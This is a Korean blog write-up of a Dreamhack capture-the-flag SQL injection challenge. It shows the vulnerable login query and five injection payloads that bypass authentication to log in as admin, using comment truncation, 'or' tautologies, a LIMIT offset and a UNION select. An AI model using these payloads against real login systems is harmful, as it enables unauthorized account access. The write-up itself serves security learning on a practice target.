문제 설명
SQL injection을 통해 flag를 알아내면 된다.
문제 풀이
소스코드를 확인하면 admin으로 접속을 하면 flag를 출력한다.
select * from users where userid="{userid}" and userpassword="{userpassword}"
위는 로그인시 SQL 쿼리문이다.
공격 방법 1
공격 코드 : select * from users where userid="admin" -- " and userpassword="{userpassword}"
위의 공격코드에서 admin뒤에 -- 주석을 넣어 뒤에 코드를 주석처리 하였다. 따라서 userid가 admin인 계정을 반환하므로 문제를 해결할 수 있을것이다.!!
공격에 성공하였고 flag를 출력하였다.
공격 방법 2
공격 코드 : select * from users where userid="admin" or "1 " and userpassword="dummy"
공격 방법 3
공격 코드 : select * from users where userid="admin" and userpassword="" or userid="admin"
공격 방법 4
공격 코드 : select * from users where userid="admin" or 1 limit 1,1-- and userpassword="" or userid="admin"
limit 절은 특정 집합을 출력 시 출력하는 행의 수를 한정하는 역할을 한다.
ex) limit N,M은 N번째 부터 M개 보여준다.
공격 방법 5
공격 코드 : select * from users where userid="dummy" and userpassword="" union select * from users where userid="admin"
union 문을 사용하여 userid가 admin인 계정으로 접속하였다.
'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글
드림핵 image-storage Write Up (0) | 2023.08.07 |
---|---|
드림핵 command-injection-1 Write Up (0) | 2023.07.15 |
드림핵 simple-web-request Write Up (0) | 2023.04.24 |
드림핵 csrf-2 (Level1) Write up (0) | 2023.04.22 |
드림핵 csrf-1 (Level1) Write up (0) | 2023.04.20 |